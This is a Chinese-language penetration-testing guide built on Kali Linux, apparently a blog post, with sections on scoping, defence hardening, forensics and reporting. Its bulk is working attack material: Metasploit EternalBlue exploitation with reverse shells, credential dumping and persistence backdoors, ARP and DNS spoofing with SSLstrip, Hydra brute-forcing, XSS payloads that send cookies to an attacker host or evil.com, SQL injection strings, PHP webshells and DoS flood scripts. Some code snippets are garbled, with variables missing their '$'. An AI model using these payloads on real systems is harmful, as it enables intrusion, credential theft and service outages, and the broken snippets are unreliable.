Web渗透测试详细技术总结(基于Kali Linux)

一、基础理论与方法论

(一)渗透测试本质辨析

1.三者核心区别:渗透测试 ≠ 漏洞评估 ≠ 安全审计

  • 安全审计:核心特征是对照基线/标准检查合规性,交付物为合规报告,法律风险低
  • 漏洞评估:核心特征是被动扫描识别潜在漏洞,交付物为漏洞清单+风险等级,法律风险低
  • 渗透测试:核心特征是主动利用漏洞验证真实性,交付物为可执行报告+入侵路径图,法律风险需授权,否则违法

2.关键认知纠正:

  • 渗透测试不能提升安全性,只能验证现有防御有效性
  • 客户若未做好基础安全,渗透测试毫无意义
  • 所有测试必须获得书面授权,明确责任边界和紧急联系人

(二)测试范围界定(Scoping)

1.必须定义的10个要素:

  • (1)目标系统清单:IP、域名、网段、业务系统名称
  • (2)时间窗口:具体日期+时段,避免业务高峰期
  • (3)攻击强度:是否允许DoS、社会工程、物理入侵
  • (4)工具披露:必须提供工具列表和版本,便于复现
  • (5)知情人员:谁知晓测试?是否需保密以测试响应能力
  • (6)初始访问权限:黑盒/白盒/灰盒的起点定义
  • (7)关键系统隔离:支付网关、生产数据库等禁止触碰
  • (8)退出标准:拿到域管权限?还是获取特定数据即停止
  • (9)交付成果:报告格式(PDF/Word)、详细程度、是否含修复建议
  • (10)补救支持:是否协助修复,额外费用如何计算

二、环境搭建与工具链

(一)Kali Linux部署精要

1.硬件最低要求:

  • (1)8GB磁盘空间(实际建议50GB+)
  • (2)512MB内存(实际建议4GB+)
  • (3)支持USB/CD启动

2.安装最佳实践:

更新系统(每日执行)

apt-get update && apt-get dist-upgrade -y

安装必备组件

apt-get install git build-essential linux-headers-$(uname -r)

3.虚拟机优化:

  • (1)网络模式选择桥接而非NAT(便于ARP攻击)
  • (2)内存分配不超过宿主机50%
  • (3)快照命名规范:2024-01-23-Pre-Engagement

(二)核心工具集导航

1.Information Gathering(信息收集)

  • (1)DNS层:dnsrecon, dnsenum, fierce
  • (2)网络层:nmap, zenmap, netdiscover
  • (3)Web层:whatweb, wpscan, joomscan

2.Vulnerability Analysis

  • (1)综合扫描:openvas, nessus
  • (2)Web专项:nikto, skipfish, vega
  • (3)数据库:sqlmap, oscanner

3.Exploitation Tools

  • (1)框架:metasploit-framework
  • (2)Web:burpsuite, websploit, set
  • (3)自动化:commix, weevely

4.Password Attacks

  • (1)离线破解:john, hashcat, rainbowcrack
  • (2)在线爆破:hydra, patator, medusa
  • (3)Windows专项:samdump2, chntpw, ophcrack

三、侦察(Reconnaissance)深度实战

(一)OSINT开源情报收集体系

1.企业信息挖掘黄金路径:

  • (1)域名 → WHOIS查询 → 注册人邮箱 → 泄露密码搜索
  • (2)官网 → Robots.txt → 后台路径 → 技术栈识别
  • (3)招聘网站 → JD关键词 → 使用的框架/中间件版本
  • (4)LinkedIn → 员工名单 → 社会工程目标筛选
  • (5)GitHub → 源码泄露 → .git/config暴露凭证
  • (6)Pastebin → 搜索site:pastebin.com "target.com" "password"

2.Shodan高级搜索语法:

1、 查找特定设备的默认密码

http.title:"NetSurveillance" country:CN

2、 查找Jenkins未授权访问

http.component:"jenkins" http.status:200

3、 查找MongoDB未授权

product:MongoDB -auth

3.FOCA元数据分析实战流程:

1. 创建项目

mkdir /root/FOCA-Projects/TargetCorp

cd /root/FOCA-Projects/TargetCorp

2. 设置搜索域名和文件类型

在FOCA GUI中: Project → Metadata Search

添加扩展名: .docx, .pdf, .pptx, .xlsx

3. 下载并分析

右键 → Extract All Metadata

查看: Users (发现内部用户名), Software (识别版本), Paths (暴露目录结构)

(二)网络层侦察技术

1.Nmap扫描策略矩阵:

  • (1)快速存活检测:命令nmap -sn <网段>,特点仅Ping,不扫描端口,风险等级极低
  • (2)常规扫描:命令nmap -sV -sC <IP>,特点版本识别+默认脚本,风险等级中
  • (3)隐蔽扫描:命令nmap -T2 -f -D RND:10 <IP>,特点慢速+分片+诱饵,风险等级低
  • (4)全面扫描:命令nmap -p- -A <IP>,特点全端口+激进探测,风险等级极高
  • (5)防火墙规避:命令nmap -sS -sI <僵尸IP> <目标>,特点IDLE扫描,风险等级中

2.NSE脚本引擎应用:

检测SSL心脏出血漏洞

nmap -p 443 --script ssl-heartbleed <IP>

检测MS17-010永恒之蓝

nmap --script smb-vuln-ms17-010 <IP>

暴力破解SNMP

nmap -sU -p 161 --script snmp-brute <IP>

3.DNS侦察完整链条:

1. 获取DNS服务器

dig -t NS target.com +short

2. 尝试区域传送(几乎不可能成功)

dig @ns1.target.com target.com AXFR

3. 暴力枚举子域名

dnsrecon -d target.com -t brt -D /usr/share/wordlists/dnsrecon.txt

4. 反向查询IP段

dnsrecon -r 192.168.1.0/24

5. 综合信息收集

dnsenum --enum target.com -f /usr/share/dnsrecon-ultimate.txt

四、服务器端攻击技术栈

(一)Web漏洞扫描与验证

1.Skipfish深度配置:

使用自定义字典

skipfish -o /root/results -W /usr/share/skipfish/dictionaries/complete.wl \

-I .php,.asp -K 500000 -t 20 -g 5 http://target.com
关键参数:

  • -I: 只扫描指定后缀
  • -K: 设置字典上限
  • -t: 并发线程数
  • -g: 递归深度

2.ProxyStrike被动审计:

  • (1)配置浏览器代理:127.0.0.1:8008
  • (2)访问目标网站,ProxyStrike自动捕获请求
  • (3)在"Plugins"标签启用XSS/SQLi检测
  • (4)"Crawler"标签点击Spider,自动发现链接
  • (5)"Log"标签查看实时攻击结果

3.OWASP-ZAP主动扫描模式:

命令行启动主动扫描

zap-cli -v quick-scan -s xss,sqli -r -o ascii http://target.com

GUI操作

    1. 设置代理并导入证书
    1. 访问目标网站,Sites标签右键"Attack" → "Active Scan"
    1. 在"Active Scan"标签监控进度
    1. "Alerts"标签查看漏洞,按CVSS排序

(二)Metasploit实战利用链

1.从扫描到Shell的完整流程:

(1. 数据库初始化

bash 复制代码
service postgresql start

msfdb init

(2. 扫描并导入

bash 复制代码
msfconsole

db_nmap -sV -O -A --script=vuln 192.168.1.0/24

(3. 漏洞匹配

bash 复制代码
hosts -c address,os_name,os_flavor

services -c name,info -p 445 --up

(4. 选择利用模块(以MS17-010为例)

bash 复制代码
search ms17-010

use exploit/windows/smb/ms17_010_eternalblue

(5. 设置载荷(反向Shell优于绑定Shell)

bash 复制代码
set payload windows/x64/meterpreter/reverse_https

set LHOST 10.0.0.5

set LPORT 443

set LURI /update

(6. 高级选项

bash 复制代码
set SMBUser administrator

set SMBPass hashdump:::

set VERBOSE true

(7. 执行并处理会话

bash 复制代码
exploit -j # 后台执行

sessions -i 1

meterpreter > getuid

meterpreter > hashdump

meterpreter > load kiwi

meterpreter > creds_all

2.后渗透模块深度应用:

权限提升

use exploit/windows/local/bypassuac

set SESSION 1

exploit

令牌窃取

meterpreter > use incognito

meterpreter > list_tokens -u

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"

持久化

meterpreter > run persistence -U -i 5 -p 443 -r 10.0.0.5

meterpreter > run metsvc -A # 安装Windows服务后门

(三)中间人攻击(MITM)全栈技术

1.ARP欺骗基础架构:

  • (1. 开启IP转发(Linux内核级)
bash 复制代码
echo 1 > /proc/sys/net/ipv4/ip_forward

sysctl -w net.ipv4.ip_forward=1 # 永久写入需修改/etc/sysctl.conf
  • (2. 双向ARP欺骗(脚本自动化)
bash 复制代码
#!/bin/bash

# arp_spoof.sh

VIP="192.168.1.100" # 受害者IP

GWIP="192.168.1.1" # 网关IP

IFACE="eth0"

终端1:欺骗受害者

arpspoof -i IFACE -t VIP $GWIP

终端2:欺骗网关

arpspoof -i IFACE -t GWIP $VIP

2.流量操控与窃听:

(3. 端口重定向(HTTP→SSLstrip)

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000

iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 10000

(4. 启动SSLstrip

sslstrip -l 10000 -w /root/sslstrip.log -a

(5. 实时监控密码

tail -f /root/sslstrip.log | grep -E "email|password|login|user"

(6. 抓取图片(Driftnet)

driftnet -i eth0 -d /root/captured_images/ -a -s

(7. 提取HTTP表单(urlsnarf + grep)

urlsnarf -i eth0 | grep -v ".css\|.js\|.png" > /tmp/urls.txt

3.DNS欺骗(Ettercap):

修改etter.dns添加记录

nano /etc/ettercap/etter.dns
添加:

microsoft.com A 10.0.0.5

*.microsoft.com A 10.0.0.5
启动DNS欺骗

ettercap -T -q -i eth0 -P dns_spoof -M arp:remote /192.168.1.1// /192.168.1.100//

(四)密码攻击工程化

1.Hydra高级用法:

HTTP POST表单爆破

hydra -L users.txt -P pass.txt 192.168.1.1 \

http-post-form "/login.php:user=^USER^&pass=^PASS^:F=incorrect" \

-t 10 -w 30 -o result.txt
支持HTTPS和代理

hydra -S -v -l admin -P /usr/share/wordlists/rockyou.txt \

-s 443 10.0.0.5 https-get /admin/ \

-h 127.0.0.1 -p 8080 # 通过Burp代理
自定义模块(JSON API)

hydra -l admin -P pass.txt 192.168.1.1 http-post \

"/api/login:{\"user\":\"^USER^\",\"pass\":\"^PASS^\"}:H=Content-Type: application/json:F=error"

2.John the Ripper优化:

  • (1. 准备字典
bash 复制代码
cat wordlist1.txt wordlist2.txt | sort -u > combined.txt

tr 'A-Z' 'a-z'< combined.txt > lower.txt

sort -u lower.txt > final.dict
  • (2. 识别哈希类型
bash 复制代码
hashid /root/hashes.txt

hash-identifier # 交互式
  • (3. 多模式破解
bash 复制代码
john --wordlist=final.dict --rules=Wordlist,jumbo /etc/shadow

john --incremental=Alnum --max-length=10 /etc/shadow
  • (4. GPU加速(oclHashcat)
bash 复制代码
hashcat -m 1000 -a 0 -o cracked.txt --remove hashes.txt /usr/share/wordlists/rockyou.txt

-m 1000: NTLM

-a 0: 字典攻击

3.Windows密码提取实战:

(1. 从已控Windows提取哈希

meterpreter > load kiwi

meterpreter > creds_all # 导出内存中的明文密码

meterpreter > hashdump # 导出SAM哈希

(2. 离线破解NTLM哈希

john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

(3. 使用彩虹表(Ophcrack)

ophcrack -g -d /usr/share/ophcrack/tables/ -t 1 -f hashes.txt

五、Web应用专项攻击

(一)XSS漏洞全生命周期利用

1.反射型XSS:

bash 复制代码
<!-- 探测 -->



<!-- 窃取Cookie -->

var img = new Image();

img.src = "http://<攻击机>/xss?c=" + document.cookie;



<!-- 重定向钓鱼 -->

window.location.href="http://evil.com/login.html";

2.存储型XSS(Gruyere演示):

bash 复制代码
// 在"Snippets"中插入

var xhr = new XMLHttpRequest();

xhr.open("GET", "http://<攻击机>/steal?user=" + document.getElementById('uid').value);

xhr.send();

3.BeEF XSS整合:

bash 复制代码
<!-- 将Hook注入XSS点 -->



<!-- 监听键盘 -->

beef.execute(function() {

beef.net.send('keylogger', window.event.keyCode);

});

(二)SQL注入高级技术

1.手工注入流程:

-- 1. 探测

' OR 1=1--

-- 2. 判断列数

' ORDER BY 10-- (报错则减少)

' UNION SELECT 1,2,3,4,5--

-- 3. 提取数据库版本

' UNION SELECT @@version,2,3,4,5--

-- 4. 枚举数据库

' UNION SELECT schema_name,2,3,4,5 FROM information_schema.schemata--

-- 5. 提取用户密码

' UNION SELECT user,password,3,4,5 FROM mysql.user--

2.sqlmap高级选项:

1、基础检测

sqlmap -u "http://target.com/page.php?id=1" --batch --risk=3 --level=5

2. 绕过WAF

sqlmap -u "http://target.com/page.php?id=1" --tamper=space2comment,charencode

3. 获取Shell

sqlmap -u "http://target.com/page.php?id=1" --os-shell

4. 提权到系统

sqlmap -u "http://target.com/page.php?id=1" --privilege --users --passwords

5. 批量检测URL列表

sqlmap -m urls.txt --batch --random-agent --delay=1

(三)文件上传漏洞利用

1.Webshell上传:

<?php system($_GET['cmd']); ?> # 简单一句话

<?php eval($_POST['pass']); ?> # 中国菜刀马

2.绕过过滤技巧:

  • (1)扩展名绕过:.php5, .phtml, .php%00.jpg
  • (2)MIME类型伪造:Burp修改Content-Type为image/jpeg
  • (3)图片马合成:cat image.jpg shell.php > payload.php.jpg
  • (4)条件竞争:上传生成Shell的脚本,不断访问触发

3.Websploit利用模块:

use exploit/web/uploader

set TARGET http://target.com/upload.php

set UPLOAD_TYPE .php

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 10.0.0.5

exploit

(四)逻辑漏洞挖掘

1.关键测试点:

  • (1)密码重置:参数可预测性 ?token=MD5(email)
  • (2)越权访问:修改user_id参数访问他人数据
  • (3)支付漏洞:负数金额、修改总价、重复使用优惠券
  • (4)验证码绕过:前端验证、短信轰炸

2.Burp测试逻辑漏洞:

    1. 拦截请求发送到Repeater
    1. 修改关键参数(user_id, price, status)
    1. 观察响应差异
    1. 用Intruder批量测试参数范围

六、拒绝服务与高级攻击

(一)DoS工具实战

1.Slowloris(Apache杀手):

安装

cpan Net::DNS Net::SSL

攻击(保持连接不释放)

slowloris.pl -dns target.com -port 80 -timeout 2000 -num 500

原理:发送不完整HTTP头,耗尽连接池

2.LOIC(Low Orbit Ion Cannon):

  • (1)输入目标IP/域名
  • (2)选择方法:TCP/UDP/HTTP
  • (3)设置线程:5000-10000
  • (4)点击"IMMA CHARGING MAH LAZER"
  • (5)警告:会产生极高流量,极易被检测

3.THC-SSL-DOS:

针对SSL握手过程

thc-ssl-dos 192.168.1.1 443 --accept

原理:重复SSL握手耗尽CPU

4.Scapy定制攻击:

bash 复制代码
#!/usr/bin/env python

from scapy.all import *

# SYN Flood

send(IP(dst="192.168.1.1")/TCP(dport=80,flags="S"), loop=1)

# Land Attack(源目IP相同)

send(IP(src="192.168.1.1",dst="192.168.1.1")/TCP(sport=135,dport=135))

(二)BeEF浏览器控制深度

1.持久化Hook:

// 注入到存储型XSS点

// 创建持久后门(即使页面关闭也保持)

beef.execute(function() {

// 每分钟重连

setInterval(function() {

var s = document.createElement('script');

s.src = 'http://10.0.0.5:3000/hook.js';

document.head.appendChild(s);

}, 60000);

});

2.内网渗透:

// 使用被钩浏览器扫描内网

beef.execute(function() {

for (var i = 1; i < 255; i++) {

var img = new Image();

img.onload = function() {

beef.net.send('found', this.src);

};

img.src = 'http://192.168.0.' + i + ':80/favicon.ico';

}

});

3.社会工程模块:

  • (1)Fake Notification:伪造Flash更新提示
  • (2)Fake Login:弹出仿冒登录框
  • (3)Webcam:尝试激活摄像头

七、防御体系构建

(一)纵深防御策略

1.网络层:

1. 防ARP欺骗(Cisco交换机)

ip arp inspection vlan 10

ip arp inspection validate ip src-mac dst-mac

2. 防IP欺骗(iptables)

iptables -A INPUT -i eth0 -s 10.0.0.0/8 -j DROP

3. 连接数限制

iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 -j REJECT

2.Web层:

1. 防XSS

Header set X-XSS-Protection "1; mode=block"

Header set Content-Security-Policy "default-src 'self'"

2. 防Clickjacking

Header set X-Frame-Options "DENY"

3. 防MIME嗅探

Header set X-Content-Type-Options "nosniff"

4. 强制HTTPS

Header set Strict-Transport-Security "max-age=31536000; includeSubDomains"

3.应用层:

// PHP安全加固

ini_set('display_errors', 0); // 关闭错误显示

header('X-Frame-Options: DENY');

// 防SQL注入(PDO预处理)

stmt = pdo->prepare('SELECT * FROM users WHERE id = ?');

stmt-\>execute(\[id]);

// 防XSS(输出编码)

echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

(二)数字取证技术

1.Kali取证模式启动:

  • (1)启动时选择 "Live (686-pae) Forensic Mode"
  • (2)不自动挂载任何文件系统
  • (3)使用只读方式挂载:mount -o ro /dev/sda1 /mnt/evidence

2.镜像创建

dd镜像(带哈希校验)

dc3dd if=/dev/sda of=/mnt/usb/evidence.dd hash=sha256 hashlog=hash.log log=log.txt

创建E01格式(Encase)

ewfacquire /dev/sda -t evidence -C 123456 -c best -e ntfs -m e01

内存转储

lime-forensics-dump -f raw -o /mnt/usb/memory.raw

3.内存分析:

使用Volatility

volatility -f memory.raw imageinfo

volatility -f memory.raw --profile=Win7SP1x64 pslist

volatility -f memory.raw --profile=Win7SP1x64 memdump -p 1234 -D ./

(三)应急响应流程

  • 1.隔离:断网不关机,保留内存状态
  • 2.记录:拍照、记录时间线、当前连接
  • 3.镜像:按上述方法创建完整镜像
  • 4.分析:使用Kali工具集分析
  • 5.报告:IOC(失陷指标)、攻击路径、影响评估

八、专业报告撰写

(一)报告结构模板

1.封面页

项目名称、时间、测试团队、保密声明

2.执行摘要

在2024年1月对XYZ公司Web应用进行的渗透测试中,共发现:

  • 严重漏洞:2个(可RCE)

  • 高危漏洞:5个(可提权、数据泄露)

  • 中危漏洞:8个(信息泄露、XSS)

最严重的是位于登录页的SQL注入(CVE-2024-XXXX),可获取所有用户数据(约10万条)。

修复成本估算:$50,000 | 修复时间:2周

3.技术细节(每个漏洞)

VULN-001: SQL注入导致数据库接管

CVSS评分:9.1 (Critical)

位置:https://app.target.com/login.php

复现步骤:

  • (1)在username字段输入 admin' OR 1=1--
  • (2)密码任意
  • (3)成功登录admin账户

利用证明:

sqlmap -u "https://app.target.com/login.php" --data "user=admin&pass=123" \

--dbms=mysql --dump

输出:导出users表,含admin密码哈希...

修复建议:

  • (1)使用PDO预处理语句
  • (2)部署WAF规则:SecRule ARGS "@detectSQLi"
  • (3)限制数据库账户权限为只读

(二)报告工具使用

1.Dradis专业报告:

1. 启动Dradis

service dradis start
2. 访问https://127.0.0.1:3000
3. 创建项目,导入工具结果:

    • Nmap: Upload → Nmap → 选择.xml文件
    • Nessus: Upload → Nessus → 选择.nessus文件
    • Burp: Upload → Burp → 选择.xml文件
      4. 在Issues中整理漏洞
      5. Export → Word/PDF报告

2.MagicTree数据关联

  • 1导入Nmap结果
    1. 自动节点关联(IP→服务→版本→漏洞)
    1. 标记已利用节点
    1. 生成攻击路径图

(三)交付物清单需包含:

    • \] 原始扫描数据(Nessus、Nmap、Burp)

    • \] 修复验证脚本(PoC修复代码)

    • \] 费用明细(如含补救服务)

攻击前

  • \] 获取双签名授权书(客户+法务)

  • \] 设置测试环境快照

攻击中

  • \] 每2小时备份一次数据

  • \] 截图/录屏关键突破点

攻击后

  • \] 清理所有后门和测试文件

  • \] 提交初步报告(24小时内)

  • \] 30天后提供修复验证服务

(五)核心思维模型

    1. ATT&CK映射:每个攻击技术对应MITRE ATT&CK框架编号
    1. 钻石模型:从对手、能力、基础设施、受害者四维度分析
    1. 杀伤链:侦察→武器化→投递→利用→安装→C2→目标达成
    1. OODA循环:观察→调整→决策→行动,比防守方快一步
相关推荐
东东5163 小时前
基于SSM的宠物医院预约挂号系统的设计与实现vue
java·前端·javascript·vue.js·毕设
黑贝是条狗3 小时前
mormor2与vue搭建一个博客系统
前端·javascript·vue.js
之歆3 小时前
Linux系统管理与运维基础
linux·运维·服务器
拔刀能留住落樱吗、3 小时前
代码诊疗室——疑难Bug破解战
前端·html
GISer_Jing3 小时前
Taro 5.0 深度:跨端开发的架构革新与全阶实践指南
前端·react.js·taro
宁雨桥3 小时前
我开源了一个 Chrome 插件:一键总结网页为 Markdown
前端·chrome·开源
南夏一木子3 小时前
Vue学习 —— Axios异步通信
前端·vue.js·学习
Howrun7773 小时前
Linux_UDP聊天服务器
linux·服务器·udp
GISer_Jing3 小时前
Taro 5.0 小白快速上手指南:从0到1实现跨端开发
前端·react.js·taro